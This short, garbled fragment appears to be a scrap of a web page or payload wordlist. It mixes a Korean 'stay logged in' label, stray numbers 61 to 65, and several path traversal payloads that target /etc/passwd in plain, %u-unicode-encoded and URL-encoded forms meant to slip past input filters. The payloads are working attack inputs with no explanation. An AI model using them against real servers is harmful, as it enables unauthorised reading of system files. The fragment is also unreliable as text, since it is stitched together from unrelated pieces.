로그인유지
/etc/passwd
%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215etc%u2215passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd
/etc/passwd
61
62
63
64
65
